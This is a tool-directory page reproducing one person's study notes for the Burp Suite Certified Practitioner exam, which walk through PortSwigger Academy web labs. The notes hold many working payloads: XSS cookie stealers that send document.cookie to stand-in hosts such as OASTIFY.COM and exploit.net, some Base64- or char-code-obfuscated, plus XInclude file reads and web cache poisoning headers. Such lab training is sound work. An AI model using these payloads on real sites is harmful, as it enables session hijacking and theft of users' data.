Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Burp-Suite-Certified-Practitioner-Exam-Study — Practical study notes and walkthroughs for PortSwigger Academy labs, covering web vulnerabilities, payloads, enumeration, and BSCP exam strategies. | Kitploit
Tools/GitHubGitHub/botesjuan/burp-suite-certified-practitioner-exam-study
Vulnerability AnalysisWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload DevelopmentLearning Paths & CoursesLabs & Practice
GitHubbotesjuan/burp-suite-certified-practitioner-exam-study
1.5k3874 days agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Burp-Suite-Certified-Practitioner-Exam-Study

Practical study notes and walkthroughs for PortSwigger Academy labs, covering web vulnerabilities, payloads, enumeration, and BSCP exam strategies.

View Repository

Burp Suite Certified Practitioner Exam Study

This is my study notes with over a 110 PortSwigger Academy Labs. I used these labs to pass the Burp Suite Certified Practitioner Exam 2023. My BSCP qualification.
For more informaion go to PortSwigger Academy to get latest learning materials.


SCANNING - Enumeration
Focus Scanning
Scan non-standard entities

FOOTHOLD - Stage 1
Content Discovery
DOM-XSS
XSS Cross Site Scripting
Web Cache Poison
Host Headers
HTTP Request Smuggling
Brute force
Authentication

PRIVILEGE ESCALATION - Stage 2
CSRF - Account Takeover
Password Reset
SQLi - SQL Injection
JWT - JSON Web Tokens
Prototype pollution
API Testing
Access Control
GraphQL API Endpoints
CORS - Cross-origin resource sharing

DATA EXFILTRATION - Stage 3
XXE - XML entities & Injections
SSRF - Server side request forgery
SSTI - Server side template injection
SSPP - Server Side Prototype Pollution
LFI - File path traversal
File Uploads
Deserialization
OS Command Injection

APPENDIX
Python Scripts
Payloads
Word lists
Focus target scanning
Approach
Extra Training Content

My Burp Tips

I can recommend doing as many as possible Mystery lab challenge to test your skills and decrease the time it takes you to identify the vulnerabilities, before taking the exam.
I also found this PortSwigger advice on Retaking your exam very informative.
Watch CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks for fresh view of the BSCP exam in 2024.




Buy Me A Coffee

Thanks for the supported coffee, \o/

My Burp Suite Certified Practitioner certificate.


Scanning

Enumeration of the Web Applications start with initial and directed scanning in time limited engagement.

Focus Scanning
Scan non-standard entities

Focus Scanning

Due to the tight time limit during engagements or exam, scan defined insertion points for specific requests.

scan-defined-insertion-points

Scanner detected XML injection vulnerability on storeId parameter and this lead to reading the secret Carlos file.

root@kitploit:~
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

Out of band XInclude request, need hosted DTD to read local file.

root@kitploit:~
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning

Scanning non-standard data structures

Scanning non-standard data structures using Burp feature to scan selected insertion point for select text in response or requests.

scan-selected-insertion-point

Identify the vulnerability through Burp scanner issue results.
In this case, using the identified XSS, Steal the admin user's cookies by crafting the payload in the identified insertion point.

root@kitploit:~
'"><svg/onload=fetch(`//OASTIFY.COM/${encodeURIComponent(document.cookie)}`)>:CURRENT-USER-LOGIN-COOKIE-2ND-PART

Url encode key characters.

admin-cookie-stealer

Use the admin user's cookie to access the admin panel by replacing it in the current browser session.

PortSwigger Lab: Scanning non-standard data structures


Foothold

Content Discovery

Enumeration of target start with fuzzing web directories and files. Either use the Burp engagement tools, content discovery option to find hidden paths and files or use FFUF to enumerate web directories and files. Looking at robots.txt or sitemap.xml that can reveal content.

root@kitploit:~
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

Burp engagement tool, content discovery using my compiled word list burp-labs-wordlist as custom file list.

content-discovery.png

Examine the git repo branches on local downloaded copy, using git-cola tool. Then select Undo last commit and extract admin password from the diff window.

root@kitploit:~
wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

git-cola

PortSwigger Lab: Information disclosure in version control history

Always open source code to look for any developer comments that reveal hidden files or paths. Below example lead to symphony token deserialization.

DEV code debug comment deserial


DOM-Based XSS

DOM XSS Indicators
DOM XSS Identified with DOM Invader
DOM XSS AngularJS
DOM XSS document.write in select
DOM XSS JSON.parse web messages
DOM XSS AddEventListener JavaScript URL
DOM XSS AddEventListener Ads Message
DOM XSS Eval Reflected Cookie Stealer
DOM XSS LastviewedProduct Cookie

Identify DOM-XSS

DOM-based XSS vulnerabilities arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes code to a sink that supports dynamic code execution. Test which characters enable the escaping out of the source code injection point, by using the fuzzer string below.

root@kitploit:~
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Review the source code to identify the sources , sinks or methods that may lead to exploit, list of samples:

  • document.write()
  • window.location
  • document.cookie
  • eval()
  • document.domain
  • WebSocket()
  • element.src
  • postMessage()
  • setRequestHeader()
  • FileReader.readAsText()
  • ExecuteSql()
  • sessionStorage.setItem()
  • document.evaluate()
  • JSON.parse
  • ng-app
  • URLSearchParams
  • replace()
  • innerHTML
  • location.search
  • addEventListener
  • sanitizeKey()

Dom Invader

Using Dom Invader plug-in and set the canary to value, such as domxss, it will detect DOM-XSS sinks that can be exploit.

DOM Invader

Vulnerable AngularJS

AngularJS expression below can be injected into the search function when angle brackets and double quotes HTML-encoded. The vulnerability is identified by noticing the search string is enclosed in an ng-app directive and /js/angular 1-7-7.js script included. Review the HTML code to identify the ng-app directive telling AngularJS that this is the root element of the AngularJS application.

domxss-on-constructor.png

PortSwigger lab payload below:

root@kitploit:~
{{$on.constructor('alert(1)')()}}

Cookie stealer payload using on.constructor that can be placed in iframe, hosted on an exploit server, resulting in the victim session cookie being send to Burp Collaborator.
PortSwigger cheat sheet for cross site scripting reference

root@kitploit:~
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

Note: The session cookie property must not have the HttpOnly secure flag set in order for XSS to succeed.

domxss-on-constructor.png

PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

z3nsh3ll give an amazingly detail understanding on the constructor vulnerability in this lab on YouTube

Doc Write Location search

The target is vulnerable to DOM-XSS in the stock check function. source code reveal document.write is the sink used with location.search allowing us to add storeId query parameter with a value containing the JavaScript payload inside a <select> statement.

DOM-XSS doc write inside select

Perform a test using below payload to identify the injection into the modified GET request, using "> to escape.

root@kitploit:~
/product?productId=1&storeId=fuzzer"></select>fuzzer

get-dom-xss.png

DOM XSS cookie stealer payload in a document.write sink using source location.search inside a <select> element. This can be send to victim via exploit server in `

root@kitploit:~

![JSON_parse_web_messages_Exploit_server_Payload.png](https://assets.kitploit.com/production/public/readmes/51008/fc377449d64971030190b4d76a36414488e4699b016fa0222625510562becc94/06f66dc3803d4ff859825d711340ddbc50e10e49a269e0d2252c76aee3261a07-display-v1.webp)  

>At the end of the iframe onload values is a "*", this is to indicate the target is any.  
  
>Set an unsecured test cookie in browser using browser DEV tools console to use during tests for POC XSS  
>[cookie stealer payloads](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).  

```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png

PortSwigger Lab: DOM XSS using web messages and JSON.parse

DOM Invader used to identify and Testing for DOM XSS using web messages

DOM Invader identify web messages

Replay the post message using DOM Invader after altering the JSON data.

root@kitploit:~
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

DOM Invader resend web messages

PortSwigger: Identify DOM XSS using PortSwigger DOM Invader

DOM XSS AddEventListener JavaScript URL

Reviewing the page source code we identify the addeventlistener call for a web message but there is an if condition checking if the string contains http/s.

source-code-web-message-url.png

The exploit server hosted payload below includes the https string, and is successful in bypassing the if condition check.

root@kitploit:~


DOM_based_cookie_manipulation.png

Once the victim cookie is updated the Exploit server log captures their secret cookie value.

With the great help from ShehmeerAbidRajput I updated this lab with his provided cookie stealer payload.

PortSwigger Lab: DOM-based cookie manipulation


Cross Site Scripting

XSS Resources
Identify allowed Tags
Bypass Blocked Tags
XSS Assign protocol
Custom Tags not Blocked
OnHashChange
Reflected String XSS
Reflected String Extra Escape
AngularJS Sandbox Escape
XSS Template Literal
XSS via JSON into EVAL
Stored XSS
Stored DOM XSS
XSS in SVG Upload

XSS Resources

XSS Resources pages to lookup payloads for tags and events.

  • Cross-site scripting (XSS) cheat sheet
  • PayloadsAllTheThings (XSS)
  • HackTheBox CPTS Study notes on XSS

CSP Evaluator tool to check if content security policy is in place to mitigate XSS attacks. Example is if the base-uri is missing, this vulnerability will allow attacker to use the alternative exploit method described at Upgrade stored self-XSS.

  • CSP Evaluator

When input field maximum length is at only 23 character in length then use this resource for Tiny XSS Payloads.

  • Tiny XSS Payloads

Set a unsecured test cookie in browser using browser DEV tools console to use during tests for POC XSS cookie stealer payloads.

root@kitploit:~
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

Identify allowed Tags

Basic XSS Payloads to identify application security filter controls for handling data received in HTTP request.

root@kitploit:~
root@kitploit:~
"><svg><animatetransform onbegin=alert(1)>
root@kitploit:~
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Submitting the above payloads may give response message, "Tag is not allowed" due to Web Application Firewall (WAF) blocking injections. Then identify allowed tags using PortSwigger Academy Methodology.

URL and Base64 online encoders and decoders

  • URL Decode and Encode
  • BASE64 Decode and Encode

This lab gives great Methodology to identify allowed HTML tags and events for crafting POC XSS.

Host iframe code on exploit server and deliver exploit link to victim.

root@kitploit:~

Bypass Blocked Tags

Application controls give message, "Tag is not allowed" when inserting basic XSS payloads, but discover SVG mark-up allowed using above methodology. This payload steal my own session cookie as POC.

root@kitploit:~
https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

Place the above payload on exploit server and insert URL with search value into an iframe before delivering to victim in below code block.

root@kitploit:~

svg animatetransform XSS

PortSwigger Lab: Reflected XSS with some SVG markup allowed

XSS Assign protocol

Lab to test XSS into HTML context with nothing encoded in search function. Using this lab to test the Assignable protocol with location javascript exploit identified by PortSwigger XSS research. In the payload is the %0a representing the ASCII newline character.

root@kitploit:~
<script>location.protocol='javascript';</script>#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html

XSS protocol location

PortSwigger Lab: Reflected XSS into HTML context with nothing encoded

Custom Tags not Blocked

Application respond with message "Tag is not allowed" when attempting to insert XSS payloads, but if we create a custom tag it is bypassed.

root@kitploit:~
<xss+id=x>#x';

Identify if above custom tag is not block in search function, by observing the response. Create below payload to steal session cookie out-of-band.

root@kitploit:~
<script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>

Note: The custom tag with the ID x, which contains an onfocus event handler that triggers the document.location function. The HASH # character at the end of the URL focuses on this element as soon as the page is loaded, causing the payload to be called. Host the payload script on the exploit server in script tags, and send to victim. Below is the same payload but URL-encoded format.

root@kitploit:~
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

Custom XSS tag

PortSwigger Lab: Reflected XSS into HTML context with all tags blocked except custom ones

z3nsh3ll - explaining custom tags for XSS attacks

OnHashChange

Below iframe uses HASH # character at end of the URL to trigger the OnHashChange XSS cookie stealer.

root@kitploit:~

Note if the cookie is secure with HttpOnly flag set enabled, the cookie cannot be stolen using XSS.

PortSwigger Lab payload perform print.

root@kitploit:~

Note: Identify the vulnerable jquery 1.8.2 version included in the source code with the CSS selector action a the hashchange.

Hashchange

PortSwigger Lab: DOM XSS in jQuery selector sink using a hashchange event

Crypto-Cat: DOM XSS in jQuery selector sink using a hashchange event

Reflected String XSS

Submitting a search string and reviewing the source code of the search result page, the JavaScript string variable is identified to reflect the search string tracker.gif in the source code with a variable named searchTerms.

root@kitploit:~
<section class=blog-header>
	<h1>0 search results for 'fuzzer'</h1>
	<hr>
</section>
<section class=search>
	<form action=/ method=GET>
		<input type=text placeholder='Search the blog...' name=term>
		<button type=submit class=button>Search</button>
    </form>
    </section>
	<script>
    var searchTerms = 'fuzzer';
    document.write('<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/resources/images/tracker.gif?searchTerms="+encodeURIComponent(searchTerms)+'">');
</script>

JavaScript string with single quote and backslash escaped

Using a payload test'payload and observe that a single quote gets backslash-escaped, preventing breaking out of the string.

root@kitploit:~
</script><script>alert(1)</script>

Changing the payload to a cookie stealer that deliver the session token to Burp Collaborator.

root@kitploit:~
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

collaborator get cookies

When placing this payload in iframe, the target application do not allow it to be embedded and give message: refused to connect.

PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

In BSCP exam host the below payload on exploit server inside <script> tags, and the search query below before it is URL encoded.

root@kitploit:~
</ScRiPt >

Exploit Server hosting search term reflected vulnerability that is send to victim to obtain their session cookie.

root@kitploit:~
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

The application gave error message Tag is not allowed, and this is bypassed using this </ScRiPt >.

Reflected String Extra Escape

See in source code the variable named searchTerms, and when submitting payload fuzzer'payload, see the single quote is backslash escaped, and then send a fuzzer\payload payload and identify that the backslash is not escaped.

root@kitploit:~
\'-alert(1)//  

fuzzer\';console.log(12345);//  

fuzzer\';alert(`Testing The backtick a typographical mark used mainly in computing`);//

Using a single backslash, single quote and semicolon we escape out of the JavaScript string variable, then using back ticks to enclose the document.location path, allow for the cookie stealer to bypass application protection.

root@kitploit:~
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

With help from Trevor I made this into cookie stealer payload, using back ticks. Thanks Trevor, here is his Youtube walk through XSS JavaScript String Angle Brackets Double Quotes Encoded Single

fail-escape

PortSwigger Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

AngularJS Sandbox Escape

Expert PortSwigger Lab exercise using AngularJS 1.4.4 and versions 1.x has reached end of life and is no longer maintained.
This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.
Objective, perform a cross-site scripting attack that escapes the sandbox and executes the payload without using the $eval function.

z3nsh3ll - YouTube Video give a great explanation of this Reflected XSS with AngularJS Sandbox Escape Without Strings

Identify the angular.module in JavaScript source code:

angularJS-sandbox-escape-identify.png

The key variable value search is injected into the JavaScript created dynamically.
No obvious security issue present here. However, the security of this code depends on how this controller and the extracted values are used in the back-end.

The $parse method evaluates the AngularJS expression $scope.query.

Using the & to add second key value pair to test payload dynamic code generated.

angularJS-sandbox-escape-add-2nd-key pair

Changing the second added key value name to expression to determine if evaluated, /?search=key1value&7*7=payload and math result is 49.

angularJS-sandbox-escape-2nd-key pair-eval

Constructing a payload fails when using alert() as the second key name in how angularJS compile the code through the parser.

AngulaJS sandbox - See PortSwigger Client-Side template injection documents

PortSwigger CheatSheet Reference Sandbox 1.4.4 escape

root@kitploit:~
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

Collaborator payload cookie stealer:

root@kitploit:~
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

The ASCII decimal values for each character in the above payload string, separated by commas. Each number represents the ASCII decimal value of the corresponding character in the payload string.

root@kitploit:~
120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41

Python script to convert any payload to ASCIII decimal values:

root@kitploit:~
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

python-script-ascii_converter.png

Cookie Stealer Payload in ASCII decimal value AngularJS expression run through sandbox, from the PortSwigger solution steps:

  1. The exploit uses toString() to create a string without using quotes.
  2. Then gets the String prototype and overwrites the charAt function for every string.
  3. This breaks the AngularJS sandbox. allow an array passed to the orderBy filter.
  4. Set the argument for the filter by again using toString() to create a string and the String constructor property.
  5. Finally, use the fromCharCode method generate our payload by converting character codes into the payload example x=alert(1).
  6. The charAt function has been overwritten, AngularJS will allow this code to escape the Sandbox.

angularJS-sandbox-escape-cookie-stealer

PortSwigger Expert Lab: Reflected XSS with AngularJS sandbox escape without strings

XSS Template Literal

JavaScript template literal is identified by the back ticks ` used to contain the string. On the target code we identify the search string is reflected inside a template literal string.

root@kitploit:~
${alert(document.cookie)}

xss template literal

Thanks to Adrián Gyurácz, for providing awesome bypass where I failed to get a working cookie stealer bypass all filters for this lab.

Adrián Gyurácz found the following research article from Portswigger that lead to the solution:
bypassing-character-blocklists-with-unicode-overflows

Pivoting from above, his payload:

root@kitploit:~
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

As the original lab session cookie has protection flags, he created a test dummy cookie for proof of concept:

Adrián Gyurácz

after sending the payload in the search function, I got a cookie stealer hit:

Adrián Gyurácz

I hope others find his research helpful, and including it in my guide Tx.

PortSwigger Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped


XSS via JSON into EVAL

This PortSwigger Practice Exam APP is performing search function and the DOM Invader identify the sink in an eval() function. The search results are placed into JSON content type.

Dom Invader EVAL identify

Test escape out of the JSON data and inject test payload "-prompt(321)-" into the JSON content.

json-injection-escape.png

Attempting to get our own session cookie value with payload of "-alert(document.cookie)-" and filter message is returned stating "Potentially dangerous search term".

WAF is preventing dangerous search filters and tags, then we bypass WAF filters using JavaScript global variables.

root@kitploit:~
"-alert(window["document"]["cookie"])-"
"-window["alert"](https://github.com/botesjuan/burp-suite-certified-practitioner-exam-study/blob/HEAD/window%5B%22document%22%5D%5B%22cookie%22%5D)-"
"-self["alert"](https://github.com/botesjuan/burp-suite-certified-practitioner-exam-study/blob/HEAD/self%5B%22document%22%5D%5B%22cookie%22%5D)-"

secjuice: Bypass XSS filters using JavaScript global variables

Below is the main cookie stealer payload before BASE 64 encoding it.

root@kitploit:~
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

Next is encode payload using Base64 encoded value of the above cookie stealer payload.

root@kitploit:~
ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==

Test payload on our own session cookie in Search function.

root@kitploit:~
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

Unpacking above payload assembly stages:

  • Using the eval() method evaluates or executes an argument.
  • Using atob() or btoa() is function used for encoding to and from base64 format strings.
  • If eval() being blocked then Alternatives:
    • setTimeout("code")
    • setInterval("code)
    • setImmediate("code")
    • Function("code")()

This image shows Burp Collaborator receiving the my cookie value as proof of concept before setting up payload to Deliver exploit to victim.

Burp collaborator receiving request with base64 cookie value from our POC.

URL Encode all characters in this payload and use as the value of the /?SearchTerm= parameter.

root@kitploit:~
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

Hosting the IFRAME on exploit server, give a error message refused to connect to target. Instead host the payload on exploit server between <script> tags.

root@kitploit:~
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

(Deliver reflected xss to steal victim cookie.

NOTE: Deliver exploit to victim few times if the active user do not send HTTP request to collaborator. Replace the current cookie value with the stolen cookie to impersonate the active user and move on to Stage 2 of the Practice Exam.

PortSwigger Practice Exam - Stage 1 - Foothold

Stored XSS

Stored XSS can also be Blind XSS. If alert payload do not trigger, see NahamSec blind xss video payload for victim to click, example: <svg/onload=import('//EXPLOIT.net/blind_xss')>
If stored input is redirecting victim that click on the links, it send request to exploit server. Use the following sample code to identify stored XSS.

root@kitploit:~
<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video controls src="https://EXPLOIT.net/video"></video>

Below log entries show the requests made to the exploit server, and from the logs we can identify that /img and /video of the above tags were allowed on the application and made requests when accessed.

Identify-stored-xss

Cross site Scripting saved in Blog post comment. This Cookie Stealer payload then send the victim session cookie to the exploit server logs.

root@kitploit:~
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

Product and Store lookup

root@kitploit:~
?productId=1&storeId="></select>

Stored XSS Blog Post

Stored XSS Blog post cookie stealer sending document cookie to exploit server.

root@kitploit:~
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

Below target has a stored XSS vulnerability in the blog comments function. Steal a victim user session cookie that views the comments after they are posted, and then use their cookie to do impersonation.

Stored XSS Blog post

Fetch API JavaScript Cookie Stealer payload in Blog post comment.

root@kitploit:~
<script>
fetch('https://exploit.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

IPPSEC YouTube using the HackTheBox Bookworm, showing payload.js JavaScript code how he using fetch and learning JavaScript.

PortSwigger Lab: Exploiting cross-site scripting to steal cookies

Upgrade stored self-XSS

Blog comment with Stored self-XSS, upgrading the payload to steal victim information from DOM. The function edit content reflect the input in the <script> tag. The CSRF token for the write comment is same as the edit content functions. Below payload use write comment function to make the victim create a blog entry on their on blog with our malicious content. The a character is added to escape the # hash character from the initial application source code. The below source code in the blog entry is full exploit to steal victim info.

root@kitploit:~
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

This target is exploited by constructing an HTML injection that clobbers a variable named share_button, see source code below and uses HTML code above. The content is reflected on the page, then using this reflection enable page redirection to victim /edit page with the use of the meta http-equiv tag to refresh page after 1 second result in redirection.

clobbering javascript variable

root@kitploit:~
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1

Deliver Exploit, by Sending url that reference the above blog entry to the victim will trigger XSS as them.

intigriti - Self-XSS upgrade - Solution to December 22 XSS Challenge

Alternative exploit using HTML injection in the Edit Content blog entry page, identified using XSS Resources CSP check.

root@kitploit:~
<base href="https://Exploit.net">

Host JS file on Exploit server as static/js/bootstrap.bundle.min.js, with content:

root@kitploit:~
alert(document.getElementsByClassName("navbar-brand")[0].innerText)

The modified PortSwigger lab payload assign the document.location function to the variable defaultAvatar next time page is loaded, because site uses DOMPurify that allows the use of cid: protocol that do not URLencode double quotes.

root@kitploit:~
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

PortSwigger Lab: Exploiting DOM clobbering to enable XSS

Stored DOM XSS

In the JavaScript source code, included script resources/js/loadCommentsWithVulnerableEscapeHtml.js we identify the html.replace() function inside the custom loadComments function. Testing payloads we see the function only replaces the first occurrence of <>.

stored dom-xss code replace

root@kitploit:~
<>

Above payload is stored and any user visiting the comment blog will result in their session cookie being stolen and send to collaborator.

stored DOM-XSS json comments

PortSwigger Lab payload: <>.

PortSwigger Lab: Stored DOM XSS


Web Cache Poison

Unkeyed header
Unkeyed Utm_content
Cloaking utm_content
Poison ambiguous request
Cache Poison multiple headers

Unkeyed header

Target use tracking.js JavaScript,
and is vulnerable to X-Forwarded-Host or X-Host header redirecting path,
allowing the stealing of cookie by poisoning cache.

Identify the web cache headers in response and the tracking.js script in the page source code.
Exploit the vulnerability by hosting JavaScript and injecting the header to poison the cache of the target to redirect a victim visiting.

Tracking source code review

root@kitploit:~
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

tracking.js

Hosting on the exploit server, injecting the X-Forwarded-Host header in request, and poison the cache until victim hits poison cache.

root@kitploit:~
/resources/js/tracking.js

exploit host tracking.js

Body send session cookie to collaboration service.

root@kitploit:~
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

Keep Poisoning the web cache of target by resending request with X-Forwarded-Host header.

x-cache-hit.png

PortSwigger Lab: Web cache poisoning with an unkeyed header

Youtube video showing above lab payload on exploit server modified to steal victim cookie when victim hits a cached entry on back-end server. The payload is the above JavaScript.

YouTube: Web cache poisoning with unkeyed header - cookie stealer

Param Miner Extension to identify web cache vulnerabilities

Unkeyed utm_content

Target is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. Param Miner's "Guess GET parameters" feature will identify the parameter as utm_content.

Cache query reflected

root@kitploit:~
GET /?utm_content='/><script>document.location="https://OASTIFY.COM?c="+document.cookie</script>

Above payload is cached and the victim visiting target cookie send to Burp collaborator.

cache-collaborator.png

PortSwigger Lab: Web cache poisoning via an unkeyed query parameter

Cloaking utm_content

Param Miner extension doing a Bulk scan > Rails parameter cloaking scan will identify the vulnerability automatically. Manually it can be identified by adding ; to append another parameter to utm_content, the cache treats this as a single parameter. This means that the extra parameter is also excluded from the cache key.
The source code for /js/geolocate.js?callback=setCountryCookie is called on every page and execute callback function.

The callback parameter is keyed, and thus cannot poison cache for victim user, but by combine duplicate parameter with utm_content it then excluded and cache can be poisoned.

root@kitploit:~
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

utm_content cache cloaking

Cache Cloaking Cookie Capturing payload below, keep poising cache until victim hits stored cache.

root@kitploit:~
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2

Below is Url Decoded payload.

root@kitploit:~
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

PortSwigger Lab: Parameter cloaking

Poison ambiguous request

Adding a second Host header with an exploit server, this identify a ambiguous cache vulnerability and routing your request. Notice that the exploit server in second Host header is reflected in an absolute URL used to import a script from /resources/js/tracking.js.

root@kitploit:~
Host: TARGET.net
Host: exploit.net

On the exploit server set a file as same path target calls to /resources/js/tracking.js, this will contain the payload. Place the JavaScript payload code below to perform a cookie stealer.

root@kitploit:~
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

Ambiguous Hosts

PortSwigger Lab: Web cache poisoning via ambiguous requests

Cache Poison multiple headers

Identify that cache hit headers in responses,
then test if the target support X-Forwarded-Host or X-Forwarded-Scheme headers.
These headers can allow for the stealing of victim session cookie.

Identify if adding the two Forwarded headers to the GET /resources/js/tracking.js request, result in a change to the location response header. This identify positive poisoning of the cache with multiple headers.

root@kitploit:~
GET /resources/js/tracking.js?cb=123 HTTP/2
Host: TARGET.net
X-Forwarded-Host: EXPLOIT.net
X-Forwarded-Scheme: nothttps

x-forwarded-scheme not https

On the exploit server change the file path to /resources/js/tracking.js
